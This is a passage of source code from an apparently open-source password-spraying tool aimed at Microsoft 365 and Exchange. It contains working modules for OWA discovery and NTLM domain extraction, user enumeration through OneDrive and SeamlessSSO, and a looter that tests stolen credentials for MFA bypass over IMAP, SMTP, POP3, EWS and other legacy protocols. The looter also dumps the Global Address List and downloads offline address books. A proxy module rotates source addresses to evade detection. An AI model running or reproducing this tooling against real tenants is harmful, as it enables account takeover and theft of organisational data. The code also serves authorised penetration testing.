| pool.submit(request, url=url, headers=headers, retries=0) 256 | for r in pool.results(wait=True): 257 | response_headers = { 258 | k.lower(): v for k, v in getattr(r, "headers", {}).items() 259 | } 260 | if ( 261 | r is not None 262 | and type(r) != str 263 | and ( 264 | "x-owa-version" in response_headers 265 | or "NTLM" in response_headers.get("www-authenticate", "") 266 | ) 267 | ): 268 | log.success(f"Found OWA at {r.request.url}") 269 | pool.submit(self.owa_internal_domain, url=r.request.url) 270 | owas.add(r.request.url) 271 | 272 | self._owa = list(owas) 273 | 274 | return self._owa 275 | 276 | def owa_internal_domain(self, url=None): 277 | """ 278 | Stolen from: 279 | - https://github.com/dafthack/MailSniper 280 | - https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/owa_login.rb 281 | """ 282 | 283 | if url is None: 284 | url = f"https://{self.trevor.domain}/autodiscover/autodiscover.xml" 285 | 286 | log.debug(f"Trying to extract internal domain via NTLM from {url}") 287 | 288 | juicy_endpoints = [ 289 | "aspnet_client", 290 | "autodiscover", 291 | "autodiscover/autodiscover.xml", 292 | "ecp", 293 | "ews", 294 | "ews/exchange.asmx", 295 | "ews/services.wsdl", 296 | "exchange", 297 | "microsoft-server-activesync", 298 | "microsoft-server-activesync/default.eas", 299 | "oab", 300 | "owa", 301 | "powershell", 302 | "rpc", 303 | ] 304 | 305 | urls = { 306 | url, 307 | } 308 | parsed_url = urlparse(url) 309 | base_url = urlunparse(parsed_url._replace(query="", path="")) 310 | for endpoint in juicy_endpoints: 311 | urls.add(f"{base_url}/{endpoint}".lower()) 312 | 313 | netbios_domain = "" 314 | for url in urls: 315 | r = request( 316 | "POST", 317 | url, 318 | headers={ 319 | "Authorization": "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" 320 | }, 321 | timeout=3, 322 | ) 323 | ntlm_info = {} 324 | www_auth = getattr(r, "headers", {}).get("WWW-Authenticate", "") 325 | if www_auth: 326 | try: 327 | ntlm_info = ntlmdecode(www_auth) 328 | except Exception as e: 329 | log.debug(f"Failed to extract NTLM domain: {e}") 330 | if ntlm_info: 331 | netbios_domain = ntlm_info.get( 332 | "DNS_Domain_name", 333 | ntlm_info.get( 334 | "DNS_Tree_Name", ntlm_info.get("NetBIOS_Domain_Name", "") 335 | ), 336 | ) 337 | log.success(f'Found internal domain via NTLM: "{netbios_domain}"') 338 | ntlm_info.pop("Timestamp", "") 339 | self.printjson(ntlm_info) 340 | break 341 | return netbios_domain 342 | -------------------------------------------------------------------------------- /trevorspray/lib/enumerators/__init__.py: -------------------------------------------------------------------------------- 1 | import importlib 2 | from pathlib import Path 3 | from ..sprayers.base import BaseSprayModule 4 | 5 | module_dir = Path(__file__).parent 6 | module_choices = {} 7 | 8 | for file in module_dir.glob("*.py"): 9 | if file.is_file() and file.stem not in ["base", "__init__"]: 10 | modules = importlib.import_module( 11 | f"trevorspray.lib.enumerators.{file.stem}", "trevorspray" 12 | ) 13 | 14 | for m in modules.__dict__.keys(): 15 | module = getattr(modules, m) 16 | try: 17 | if BaseSprayModule in module.__mro__: 18 | module_choices[file.stem] = module 19 | except AttributeError: 20 | continue 21 | -------------------------------------------------------------------------------- /trevorspray/lib/enumerators/onedrive.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ..sprayers.base import BaseSprayModule 3 | 4 | log = logging.getLogger("trevorspray.enumerators.onedrive") 5 | 6 | 7 | class OneDriveUserEnum(BaseSprayModule): 8 | # HTTP method 9 | method = "GET" 10 | # default target URL 11 | default_url = "https://{tenantname}-my.sharepoint.com/personal/{username}_{domain}/_layouts/15/onedrive.aspx" 12 | # How many times to retry HTTP requests 13 | retries = 0 14 | 15 | def initialize(self): 16 | # determine domain 17 | self.domain = self.trevor.runtimeparams.get("domain", "") 18 | if not self.domain: 19 | self.domain = str(self.trevor.domain) 20 | if not self.domain: 21 | log.error( 22 | "Failed to determine domain. Please set the environment variable: TREVOR_domain=" 23 | ) 24 | return False 25 | log.info( 26 | f'Using domain "{self.domain}" (export TREVOR_domain= to override)' 27 | ) 28 | 29 | # determine tenant name 30 | self.discovery = self.trevor.discovery(self.domain) 31 | self.tenantname = self.trevor.env.get("tenantname", "") 32 | if not self.tenantname: 33 | if self.discovery.onedrive_tenantnames(): 34 | self.tenantname = self.discovery.onedrive_tenantnames()[0] 35 | log.info( 36 | f'Using tenantname "{self.tenantname}" (export TREVOR_tenantname= to override)' 37 | ) 38 | else: 39 | log.error( 40 | "Failed to confirm tenant name via OneDrive. To force, set the environment variable: TREVOR_tenantname=" 41 | ) 42 | return False 43 | 44 | self.globalparams.update( 45 | { 46 | "domain": self.domain.replace(".", "_").replace("-", "_"), 47 | "tenantname": self.tenantname, 48 | } 49 | ) 50 | 51 | return True 52 | 53 | def create_params(self, username, password): 54 | user = str(username).split("@")[0].replace(".", "_").replace("-", "_") 55 | return { 56 | "username": user, 57 | } 58 | 59 | def check_response(self, response): 60 | valid = None 61 | exists = False 62 | locked = None 63 | 64 | status_code = getattr(response, "status_code", 0) 65 | msg = f'Response code "{status_code}"' 66 | 67 | if response.status_code in [200, 401, 403, 302]: 68 | msg = f'Confirmed valid user via OneDrive! (Response code "{status_code}")' 69 | exists = True 70 | 71 | return (valid, exists, locked, msg) 72 | -------------------------------------------------------------------------------- /trevorspray/lib/enumerators/seamless_sso.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from contextlib import suppress 3 | from ..sprayers.base import BaseSprayModule 4 | 5 | log = logging.getLogger("trevorspray.enumerators.seamless_sso") 6 | 7 | 8 | class SeamlessSSO(BaseSprayModule): 9 | # HTTP method 10 | method = "POST" 11 | # default target URL 12 | default_url = "https://login.microsoftonline.com/common/GetCredentialType" 13 | # body of request 14 | request_json = { 15 | "username": "{username}", 16 | "isOtherIdpSupported": "true", 17 | "checkPhones": "true", 18 | "isRemoteNGCSupported": "false", 19 | "isCookieBannerShown": "false", 20 | "isFidoSupported": "false", 21 | "originalRequest": "", 22 | } 23 | # HTTP headers 24 | headers = {"Content-Type": "application/json"} 25 | # How many times to retry HTTP requests 26 | retries = 0 27 | 28 | def initialize(self): 29 | log.warning("Enumerating users via the SeamlessSSO method is unreliable.") 30 | log.warning( 31 | "After a large number of requests, Microsoft will detect enumeration and begin feeding you false results." 32 | ) 33 | return True 34 | 35 | def create_params(self, username, password): 36 | return {"username": username} 37 | 38 | def check_response(self, response): 39 | valid = None 40 | exists = False 41 | locked = None 42 | 43 | status_code = getattr(response, "status_code", 0) 44 | msg = f'Response code "{status_code}"' 45 | 46 | r = {} 47 | with suppress(Exception): 48 | r = response.json() 49 | 50 | existsResult = r.get("IfExistsResult", -1) 51 | 52 | if existsResult in [1]: 53 | msg = f"Account does not exist (IfExistsResult = {existsResult})" 54 | exists = False 55 | elif existsResult in [0, 5, 6]: 56 | msg = f"Confirmed valid user via SeamlessSSO! (IfExistsResult = {existsResult})" 57 | exists = True 58 | elif existsResult != -1: 59 | msg = f'Got unknown result for IfExistsResult: "{existsResult}")' 60 | 61 | return (valid, exists, locked, msg) 62 | -------------------------------------------------------------------------------- /trevorspray/lib/errors.py: -------------------------------------------------------------------------------- 1 | class TREVORSprayError(Exception): 2 | pass 3 | -------------------------------------------------------------------------------- /trevorspray/lib/logger.py: -------------------------------------------------------------------------------- 1 | ### LOGGING ### 2 | 3 | import sys 4 | import logging 5 | from copy import copy 6 | from pathlib import Path 7 | 8 | ### PRETTY COLORS ### 9 | 10 | 11 | class ColoredFormatter(logging.Formatter): 12 | color_mapping = { 13 | "DEBUG": 242, # grey 14 | "VERBOSE": 242, # grey 15 | "INFO": 69, # blue 16 | "SUCCESS": 118, # green 17 | "WARNING": 208, # orange 18 | "ERROR": 196, # red 19 | "CRITICAL": 196, # red 20 | } 21 | 22 | char_mapping = { 23 | "DEBUG": "DBUG", 24 | "VERBOSE": "VERB", 25 | "INFO": "INFO", 26 | "SUCCESS": "SUCC", 27 | "WARNING": "WARN", 28 | "ERROR": "ERRR", 29 | "CRITICAL": "CRIT", 30 | } 31 | 32 | prefix = "\033[1;38;5;" 33 | suffix = "\033[0m" 34 | 35 | def __init__(self, pattern): 36 | super().__init__(pattern) 37 | 38 | def format(self, record): 39 | colored_record = copy(record) 40 | levelname = colored_record.levelname 41 | levelchar = self.char_mapping.get(levelname, "INFO") 42 | seq = self.color_mapping.get(levelname, 15) # default white 43 | colored_levelname = f"{self.prefix}{seq}m[{levelchar}]{self.suffix}" 44 | if levelname == "CRITICAL": 45 | colored_record.msg = f"{self.prefix}{seq}m{colored_record.msg}{self.suffix}" 46 | colored_record.levelname = colored_levelname 47 | 48 | return logging.Formatter.format(self, colored_record) 49 | 50 | 51 | def addLoggingLevel(levelName, levelNum, methodName=None): 52 | """ 53 | Comprehensively adds a new logging level to the `logging` module and the 54 | currently configured logging class. 55 | 56 | `levelName` becomes an attribute of the `logging` module with the value 57 | `levelNum`. `methodName` becomes a convenience method for both `logging` 58 | itself and the class returned by `logging.getLoggerClass()` (usually just 59 | `logging.Logger`). If `methodName` is not specified, `levelName.lower()` is 60 | used. 61 | 62 | To avoid accidental clobberings of existing attributes, this method will 63 | raise an `AttributeError` if the level name is already an attribute of the 64 | `logging` module or if the method name is already present 65 | 66 | Example 67 | ------- 68 | >>> addLoggingLevel('TRACE', logging.DEBUG - 5) 69 | >>> logging.getLogger(__name__).setLevel("TRACE") 70 | >>> logging.getLogger(__name__).trace('that worked') 71 | >>> logging.trace('so did this') 72 | >>> logging.TRACE 73 | 5 74 | 75 | """ 76 | if not methodName: 77 | methodName = levelName.lower() 78 | 79 | if hasattr(logging, levelName): 80 | raise AttributeError("{} already defined in logging module".format(levelName)) 81 | if hasattr(logging, methodName): 82 | raise AttributeError("{} already defined in logging module".format(methodName)) 83 | if hasattr(logging.getLoggerClass(), methodName): 84 | raise AttributeError("{} already defined in logger class".format(methodName)) 85 | 86 | # This method was inspired by the answers to Stack Overflow post 87 | # http://stackoverflow.com/q/2183233/2988730, especially 88 | # http://stackoverflow.com/a/13638084/2988730 89 | def logForLevel(self, message, *args, **kwargs): 90 | if self.isEnabledFor(levelNum): 91 | self._log(levelNum, message, args, **kwargs) 92 | 93 | def logToRoot(message, *args, **kwargs): 94 | logging.log(levelNum, message, *args, **kwargs) 95 | 96 | logging.addLevelName(levelNum, levelName) 97 | setattr(logging, levelName, levelNum) 98 | setattr(logging.getLoggerClass(), methodName, logForLevel) 99 | setattr(logging, methodName, logToRoot) 100 | 101 | 102 | # custom logging levels 103 | addLoggingLevel("SUCCESS", 25) 104 | addLoggingLevel("VERBOSE", 15) 105 | 106 | 107 | ### LOG TO STDOUT AND FILE ### 108 | 109 | log_dir = Path.home() / ".trevorspray" 110 | log_file = log_dir / "trevorspray.log" 111 | log_dir.mkdir(exist_ok=True) 112 | 113 | console_handler = logging.StreamHandler(sys.stdout) 114 | if any([x.lower() in ["--debug", "--verbose", "-v"] for x in sys.argv]): 115 | console_handler.addFilter(lambda x: x.levelno >= logging.DEBUG) 116 | else: 117 | console_handler.addFilter(lambda x: x.levelno >= logging.VERBOSE) 118 | console_handler.setFormatter(ColoredFormatter("%(levelname)s %(message)s")) 119 | file_handler = logging.FileHandler(str(log_file)) 120 | file_handler.addFilter(lambda x: x.levelno >= logging.DEBUG) 121 | file_handler.setFormatter(logging.Formatter("%(asctime)s %(levelname)s %(message)s")) 122 | 123 | root_logger = logging.getLogger("trevorspray") 124 | root_logger.handlers = [console_handler, file_handler] 125 | root_logger.setLevel(logging.DEBUG) 126 | 127 | proxy_logger = logging.getLogger("trevorproxy") 128 | proxy_logger.handlers = [console_handler, file_handler] 129 | proxy_logger.setLevel(logging.DEBUG) 130 | -------------------------------------------------------------------------------- /trevorspray/lib/looters/base.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | log = logging.getLogger("trevorspray.looters.base") 4 | 5 | 6 | class Looter: 7 | def __init__(self, sprayer, credential): 8 | self.sprayer = sprayer 9 | self.credential = credential 10 | self.loot_dir = self.sprayer.trevor.loot_dir 11 | self.looters = [ 12 | getattr(self, func) 13 | for func in dir(self) 14 | if callable(getattr(self, func)) and func.startswith("looter_") 15 | ] 16 | 17 | def run(self): 18 | log.info(f"Running loot module: {self.__class__.__name__}") 19 | for func in self.looters: 20 | func() 21 | -------------------------------------------------------------------------------- /trevorspray/lib/looters/msol.py: -------------------------------------------------------------------------------- 1 | import re 2 | import logging 3 | from ..util import * 4 | from .base import Looter 5 | from contextlib import suppress 6 | from requests.auth import HTTPBasicAuth 7 | 8 | 9 | log = logging.getLogger("trevorspray.looters.msol") 10 | 11 | 12 | class MSOLLooter(Looter): 13 | def looter_legacy_auth(self): 14 | self.test_imap(*self.credential) 15 | self.test_smtp(*self.credential) 16 | self.test_pop(*self.credential) 17 | self.test_ews(*self.credential) 18 | self.test_eas(*self.credential) 19 | self.test_exo_pwsh(*self.credential) 20 | self.test_autodiscover(*self.credential) 21 | self.test_azure_management(*self.credential) 22 | self.test_um(*self.credential) 23 | 24 | def test_imap(self, username, password): 25 | log.info(f"Testing IMAP4 MFA bypass for {username}") 26 | from imaplib import IMAP4, IMAP4_SSL 27 | 28 | success = False 29 | 30 | # curl -v "imaps://outlook.office365.com:993/INBOX" --user "username:password" 31 | try: 32 | session = IMAP4_SSL("outlook.office365.com", 993) 33 | log.debug(session.welcome.decode()) 34 | session.login(username, password) 35 | log.success(f"MFA bypass (IMAP) enabled for {username}!") 36 | success = True 37 | 38 | except IMAP4.error as e: 39 | log.warning(f"IMAP MFA bypass failed for {username}: {e}") 40 | 41 | except Exception as e: 42 | if log.level <= logging.DEBUG: 43 | import traceback 44 | 45 | log.error(traceback.format_exc()) 46 | else: 47 | log.error(f"Unknown error while testing IMAP for {username}: {e}") 48 | 49 | return success 50 | 51 | def test_smtp(self, username, password): 52 | log.info(f"Testing SMTP MFA bypass for {username}") 53 | import smtplib 54 | 55 | success = False 56 | 57 | # curl -v "smtp://outlook.office365.com:587/INBOX" --user "user:password" --ssl 58 | # curl -v "smtp://smtp.office365.com:587/INBOX" --user "user:password" --ssl 59 | hosts = ["outlook.office365.com:587", "smtp.office365.com:587"] 60 | for host in hosts: 61 | try: 62 | session = smtplib.SMTP(host, timeout=5) 63 | log.debug(session.starttls()) 64 | session.login(username, password) 65 | log.success(f"MFA bypass (SMTP) enabled for {username}!") 66 | success = True 67 | break 68 | 69 | except smtplib.SMTPException as e: 70 | log.warning(f"SMTP MFA bypass failed for {username}: {e}") 71 | 72 | except Exception as e: 73 | if log.level <= logging.DEBUG: 74 | import traceback 75 | 76 | log.error(traceback.format_exc()) 77 | else: 78 | log.error(f"Unknown error while testing SMTP for {username}: {e}") 79 | 80 | return success 81 | 82 | def test_pop(self, username, password): 83 | log.info(f"Testing POP3 MFA bypass for {username}") 84 | import poplib 85 | 86 | success = False 87 | 88 | # curl -v "pop3s://outlook.office365.com:995/INBOX" --user "user:password" 89 | try: 90 | session = poplib.POP3_SSL("outlook.office365.com") 91 | log.debug(session.getwelcome()) 92 | session.user(username) 93 | session.pass_(password) 94 | log.success(f"MFA bypass (POP3) enabled for {username}!") 95 | success = True 96 | 97 | except poplib.error_proto as e: 98 | log.warning(f"POP3 MFA bypass failed for {username}: {e}") 99 | 100 | except Exception as e: 101 | if log.level <= logging.DEBUG: 102 | import traceback 103 | 104 | log.error(traceback.format_exc()) 105 | else: 106 | log.error(f"Unknown error while testing POP3 for {username}: {e}") 107 | 108 | return success 109 | 110 | def test_ews(self, username, password): 111 | url = "https://outlook.office365.com/EWS/Exchange.asmx" 112 | log.info( 113 | f"Testing Exchange Web Services (EWS) MFA bypass for {username} ({url})" 114 | ) 115 | import csv 116 | import string 117 | import datetime 118 | import exchangelib 119 | from exchangelib.errors import ErrorNameResolutionNoResults 120 | 121 | contacts_retrieved = 0 122 | 123 | # curl -v -H 'Content-Type: text/xml' https://outlook.office365.com/EWS/Exchange.asmx --user "BOB@EVILCORP.COM:Password123" --data-binary $'\x0aBOB@EVILCORP.COM' 124 | try: 125 | credentials = exchangelib.Credentials(username, password) 126 | config = exchangelib.Configuration( 127 | service_endpoint=url, credentials=credentials 128 | ) 129 | account = exchangelib.Account( 130 | primary_smtp_address=username, 131 | config=config, 132 | autodiscover=False, 133 | access_type=exchangelib.DELEGATE, 134 | ) 135 | log.success(f"MFA bypass (EWS) enabled for {username}!") 136 | 137 | try: 138 | found = set() 139 | domain = username.split("@")[-1] 140 | filename = self.loot_dir / ( 141 | datetime.datetime.now().strftime("%Y%m%d_%H%M%S") 142 | + f"_{domain}_gal.csv" 143 | ) 144 | log.success(f"Attempting to dump Global Address List") 145 | with open(str(filename), "a", newline="") as f: 146 | c = csv.DictWriter(f, fieldnames=["Name", "Email"]) 147 | c.writeheader() 148 | for i in list(string.ascii_lowercase): 149 | results = account.protocol.resolve_names( 150 | [i], return_full_contact_data=True 151 | ) 152 | for result in results: 153 | if type(result) not in (ErrorNameResolutionNoResults,): 154 | mailbox, contact = result 155 | name = str(getattr(mailbox, "name", "")) 156 | email = str(getattr(mailbox, "email_address", "")) 157 | if not (name, email) in found: 158 | found.add((name, email)) 159 | log.success(f"Contact looted: {name} - {email}") 160 | c.writerow({"Name": name, "Email": email}) 161 | contacts_retrieved += 1 162 | 163 | except exchangelib.errors.EWSError as e: 164 | log.warning(f"Failed to retrieve GAL for {domain}: {e}") 165 | 166 | except exchangelib.errors.EWSError as e: 167 | log.warning(f"EWS test failed for {username}: {e}") 168 | 169 | except Exception as e: 170 | if log.level <= logging.DEBUG: 171 | import traceback 172 | 173 | log.error(traceback.format_exc()) 174 | else: 175 | log.error(f"Unknown error while testing EWS for {username}: {e}") 176 | 177 | finally: 178 | if contacts_retrieved > 0: 179 | log.success( 180 | f"Successfully wrote {contacts_retrieved:,} emails to {filename}" 181 | ) 182 | 183 | def test_eas(self, username, password): 184 | success = False 185 | url = "https://outlook.office365.com/Microsoft-Server-ActiveSync" 186 | log.info(f"Testing Exchange ActiveSync (EAS) MFA bypass for {username}") 187 | 188 | response = None 189 | with suppress(Exception): 190 | response = request("OPTIONS", url, auth=HTTPBasicAuth(username, password)) 191 | response_headers = dict(getattr(response, "headers", {})) 192 | 193 | if getattr(response, "status_code", 0) == 200: 194 | log.success( 195 | f"MFA bypass (Exchange ActiveSync) enabled for {username}! ({url})" 196 | ) 197 | success = True 198 | 199 | if success and response_headers: 200 | log.success(highlight_json(response_headers)) 201 | 202 | return success 203 | 204 | def test_exo_pwsh(self, username, password): 205 | success = False 206 | url = "https://outlook.office365.com/powershell-liveid/" 207 | log.info(f"Testing Exchange Online Powershell (EXO) MFA bypass for {username}") 208 | 209 | response = None 210 | with suppress(Exception): 211 | response = request("OPTIONS", url, auth=HTTPBasicAuth(username, password)) 212 | 213 | if getattr(response, "status_code", 0) == 200: 214 | log.success( 215 | f"MFA bypass (Exchange Online Powershell) enabled for {username} ({url})!" 216 | ) 217 | success = True 218 | 219 | return success 220 | 221 | def test_autodiscover(self, username, password): 222 | success = False 223 | url = "https://outlook.office365.com/autodiscover/autodiscover.xml" 224 | auth = HTTPBasicAuth(username, password) 225 | log.info(f"Testing Autodiscover MFA bypass for {username}") 226 | 227 | response = None 228 | try: 229 | response = request( 230 | "POST", 231 | url, 232 | headers={"Content-Type": "text/xml"}, 233 | auth=auth, 234 | data=f'{username}http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a', 235 | ) 236 | 237 | if getattr(response, "status_code", 0) == 200: 238 | log.success( 239 | f"MFA bypass (Autodiscover) enabled for {username}! ({url})" 240 | ) 241 | log.success(highlight_xml(response.content)) 242 | success = True 243 | 244 | log.info(f"Testing Offline Address Book (OAB) MFA bypass for {username}") 245 | try: 246 | found = re.search(r"(http.*)", response.text) 247 | 248 | if found: 249 | log.success(f"Found OAB URL for {username}: {found.group(1)}") 250 | oab_url = found.group(1) 251 | 252 | oab_response = request( 253 | url=f"{oab_url}/oab.xml", 254 | headers={"Content-Type": "text/xml"}, 255 | auth=auth, 256 | ) 257 | lzx_found = False 258 | for line in oab_response.text.splitlines(): 259 | found = "" 260 | if not line.strip().lower().startswith("(.+\.lzx)<", line) 262 | 263 | if found: 264 | lzx_url = f"{oab_url}{found.group(1)}" 265 | log.success(f"Found LZX for {username}: {lzx_url}") 266 | lzx_file = self.loot_dir / lzx_url.split("/")[-1] 267 | log.success(f"Downloading LZX for {username} to {lzx_file}") 268 | try: 269 | download_file( 270 | lzx_url, str(lzx_file), verify=False, auth=auth 271 | ) 272 | log.success( 273 | "Successfully downloaded LZX file. See README for instructions on how to extract data." 274 | ) 275 | lzx_found = True 276 | except Exception as e: 277 | log.warning( 278 | f"Failed to retrieve LZX file at {lzx_url}: {e}" 279 | ) 280 | if not lzx_found: 281 | log.warning(f"No LZX link found for {username}") 282 | 283 | else: 284 | log.warn(f"No OAB URL found for {username}.") 285 | 286 | except Exception as e: 287 | if log.level <= logging.DEBUG: 288 | import traceback 289 | 290 | log.error(traceback.format_exc()) 291 | else: 292 | log.error( 293 | f"Encountered error while checking for OAB (-v to debug): {e}" 294 | ) 295 | 296 | except Exception as e: 297 | if log.level <= logging.DEBUG: 298 | import traceback 299 | 300 | log.error(traceback.format_exc()) 301 | else: 302 | log.error( 303 | f"Encountered error while checking Autodiscover (-v to debug): {e}" 304 | ) 305 | 306 | return success 307 | 308 | def test_azure_management(self, username, password): 309 | from ..sprayers.msol import MSOL 310 | 311 | success = False 312 | log.info(f"Testing Azure management for {username}") 313 | 314 | request_data = { 315 | "username": username, 316 | "password": password, 317 | "resource": "https://management.core.windows.net", 318 | "client_id": "38aa3b87-a06d-4817-b275-7a316988d93b", 319 | "client_info": "1", 320 | "grant_type": "password", 321 | "scope": "openid", 322 | } 323 | 324 | headers = { 325 | "Accept": "application/json", 326 | "Content-Type": "application/x-www-form-urlencoded", 327 | "User-Agent": "Windows-AzureAD-Authentication-Provider/1.0", 328 | } 329 | 330 | try: 331 | response = request( 332 | "POST", 333 | "https://login.microsoftonline.com/common/oauth2/token", 334 | headers=headers, 335 | data=request_data, 336 | ) 337 | 338 | valid, exists, locked, msg = MSOL.check_response(None, response) 339 | if valid: 340 | log.success( 341 | f"{username} can authenticate to the Azure Service Management API - {msg}" 342 | ) 343 | else: 344 | log.warning( 345 | f"{username} cannot authenticate to the Azure Service Management API - {msg}" 346 | ) 347 | 348 | if getattr(response, "status_code", 0) == 200: 349 | log.success( 350 | f'MFA Bypass! Azure management enabled for {username}! The "az" PowerShell module should work here.' 351 | ) 352 | success = True 353 | else: 354 | log.warn(f"Azure management not enabled for {username}.") 355 | 356 | except Exception as e: 357 | if log.level <= logging.DEBUG: 358 | import traceback 359 | 360 | log.error(traceback.format_exc()) 361 | else: 362 | log.error( 363 | f"Encountered error while checking Azure Management API (-v to debug): {e}" 364 | ) 365 | 366 | return success 367 | 368 | def test_um(self, username, password): 369 | success = False 370 | url = "https://outlook.office365.com/EWS/UM2007Legacy.asmx" 371 | log.info(f"Testing Unified Messaging (UM) MFA bypass for {username}") 372 | 373 | response = None 374 | try: 375 | response = request( 376 | "POST", 377 | url, 378 | headers={"Content-Type": "text/xml; charset=utf-8"}, 379 | auth=HTTPBasicAuth(username, password), 380 | data=""" 381 | 382 | 383 | 384 | 385 | """, 386 | ) 387 | response_headers = dict(getattr(response, "headers", {})) 388 | 389 | if getattr( 390 | response, "status_code", 0 391 | ) != 401 and "text/xml" in response_headers.get("Content-Type"): 392 | log.success( 393 | f"MFA bypass (Unified Messaging) enabled for {username}! ({url})" 394 | ) 395 | log.debug(highlight_xml(response.content)) 396 | success = True 397 | 398 | except Exception as e: 399 | if log.level <= logging.DEBUG: 400 | import traceback 401 | 402 | log.error(traceback.format_exc()) 403 | else: 404 | log.error( 405 | f"Encountered error while checking Unified Messaging (-v to debug): {e}" 406 | ) 407 | 408 | return success 409 | -------------------------------------------------------------------------------- /trevorspray/lib/proxy.py: -------------------------------------------------------------------------------- 1 | import random 2 | import logging 3 | import requests 4 | import threading 5 | from time import sleep 6 | from contextlib import suppress 7 | from trevorproxy.lib.ssh import SSHProxy 8 | from .util import windows_user_agent, request 9 | from trevorproxy.lib.errors import SSHProxyError 10 | 11 | log = logging.getLogger("trevorspray.proxy") 12 | 13 | 14 | class SubnetThread(threading.Thread): 15 | def __init__(self, *args, **kwargs): 16 | self.listen_address = "127.0.0.1" 17 | self.trevor = kwargs.pop("trevor", None) 18 | 19 | super().__init__(*args, **kwargs) 20 | 21 | def run(self): 22 | from trevorproxy.lib.subnet import SubnetProxy 23 | from trevorproxy.lib.socks import ThreadingTCPServer, SocksProxy 24 | 25 | subnet_proxy = SubnetProxy( 26 | interface=self.trevor.options.interface, subnet=self.trevor.options.subnet 27 | ) 28 | try: 29 | subnet_proxy.start() 30 | with ThreadingTCPServer( 31 | (self.listen_address, self.trevor.options.base_port), 32 | SocksProxy, 33 | proxy=subnet_proxy, 34 | ) as server: 35 | log.info( 36 | f"Listening on socks5://{self.listen_address}:{self.trevor.options.base_port}" 37 | ) 38 | server.serve_forever() 39 | finally: 40 | subnet_proxy.stop() 41 | 42 | 43 | class ProxyThread(threading.Thread): 44 | def __init__(self, *args, **kwargs): 45 | self.trevor = kwargs.pop("trevor", None) 46 | host = kwargs.pop("host", None) 47 | proxy_port = kwargs.pop("proxy_port", None) 48 | 49 | self.proxy = None 50 | self.proxy_arg = None 51 | 52 | if host == "": 53 | self.proxy = str(self.trevor.options.subnet) 54 | self.proxy_arg = { 55 | "http": f"socks5://{self.trevor.subnet_proxy.listen_address}:{self.trevor.options.base_port}", 56 | "https": f"socks5://{self.trevor.subnet_proxy.listen_address}:{self.trevor.options.base_port}", 57 | } 58 | 59 | elif host is not None: 60 | self.proxy = SSHProxy( 61 | host=host, 62 | key=self.trevor.options.key, 63 | key_pass=self.trevor.options.key_pass, 64 | proxy_port=proxy_port, 65 | ) 66 | self.proxy.start() 67 | self.proxy_arg = {"http": str(self.proxy), "https": str(self.proxy)} 68 | 69 | super().__init__(*args, **kwargs) 70 | self._running = False 71 | self.lock = threading.Lock() 72 | self.q = None 73 | 74 | self.initial_delay = 0 75 | 76 | def stop(self): 77 | with suppress(Exception): 78 | self.proxy.stop() 79 | 80 | def submit(self, user, password, enumerate_users=False): 81 | with self.lock: 82 | if self.q is None: 83 | self.q = (user, password, enumerate_users) 84 | return True 85 | return False 86 | 87 | def run(self): 88 | while not self.trevor._stop: 89 | try: 90 | if self.initial_delay: 91 | log.verbose( 92 | f"Initial delay for {self} - sleeping for {self.initial_delay:.1f} seconds" 93 | ) 94 | sleep(self.initial_delay) 95 | self.initial_delay = 0 96 | 97 | user, password, enumerate_users = None, None, None 98 | with self.lock: 99 | if self.q is not None: 100 | user, password, enumerate_users = self.q 101 | self.q = None 102 | 103 | if enumerate_users: 104 | sprayer = self.trevor.user_enumerator 105 | else: 106 | sprayer = self.trevor.sprayer 107 | 108 | login_id = f"{self.trevor.sprayer.id}|{user}|{password}" 109 | 110 | if not user: 111 | sleep(0.1) 112 | continue 113 | 114 | self._running = True 115 | 116 | password_str = f":{password}" if password else "" 117 | with self.trevor.lock: 118 | self.trevor.sprayed_counter += 1 119 | if ( 120 | not self.trevor.options.force 121 | and not enumerate_users 122 | and login_id in self.trevor.tried_logins 123 | ): 124 | log.info(f"Already tried {user}:{password}, skipping.") 125 | self._running = False 126 | continue 127 | 128 | valid, exists, locked, msg = self.check_cred( 129 | user, password, enumerate_users 130 | ) 131 | 132 | with self.trevor.lock: 133 | self.trevor.tried_logins[login_id] = True 134 | 135 | if valid: 136 | exists = True 137 | log.success(f"{user}{password_str} - {msg}") 138 | self.trevor.valid_logins.append(f"{user}:{password}") 139 | if self.trevor.options.exit_on_success: 140 | self.trevor._stop = True 141 | elif locked: 142 | log.error(f"{user}{password_str} - {msg}") 143 | elif exists: 144 | log.warning(f"{user}{password_str} - {msg}") 145 | else: 146 | log.info(f"{user}{password_str} - {msg}") 147 | 148 | if exists: 149 | self.trevor.existent_users.append(user) 150 | 151 | if locked: 152 | self.trevor.lockout_counter += 1 153 | 154 | if valid: 155 | if not self.trevor.options.no_loot: 156 | sprayer.loot((user, password)) 157 | if self.trevor.options.exit_on_success: 158 | self._running = False 159 | self.q = None 160 | return 161 | 162 | # If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying 163 | if ( 164 | not self.trevor.options.ignore_lockouts 165 | and self.trevor.lockout_counter == 10 166 | and self.trevor.lockout_question == False 167 | ): 168 | log.error("Multiple Account Lockouts Detected!") 169 | log.error( 170 | "10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray?" 171 | ) 172 | yes = {"yes", "y"} 173 | no = {"no", "n", ""} 174 | self.trevor.lockout_question = True 175 | choice = "X" 176 | while choice not in no and choice not in yes: 177 | choice = input("\n[USER] [Y/N] (default is N): ").lower() 178 | 179 | if choice in no: 180 | log.info("Cancelling the password spray.") 181 | log.info( 182 | 'NOTE: If you are seeing multiple "account is locked" messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled.' 183 | ) 184 | return self.cancel_spray() 185 | 186 | verb = "Enumerated" if enumerate_users else "Sprayed" 187 | print( 188 | f" {verb} {self.trevor.sprayed_counter:,} / {self.trevor.sprayed_possible:,} accounts\r", 189 | end="", 190 | flush=True, 191 | ) 192 | 193 | if locked and self.trevor.options.lockout_delay: 194 | log.verbose( 195 | f"Lockout encountered, sleeping thread for {self.trevor.options.lockout_delay:.1f} seconds" 196 | ) 197 | sleep(self.trevor.options.lockout_delay) 198 | 199 | if ( 200 | (self.trevor.options.delay or self.trevor.options.jitter) 201 | and ((exists != False) or locked or sprayer.fail_nonexistent) 202 | and not (self.q is None and self.trevor.stopping) 203 | ): 204 | delay = float(self.trevor.options.delay) 205 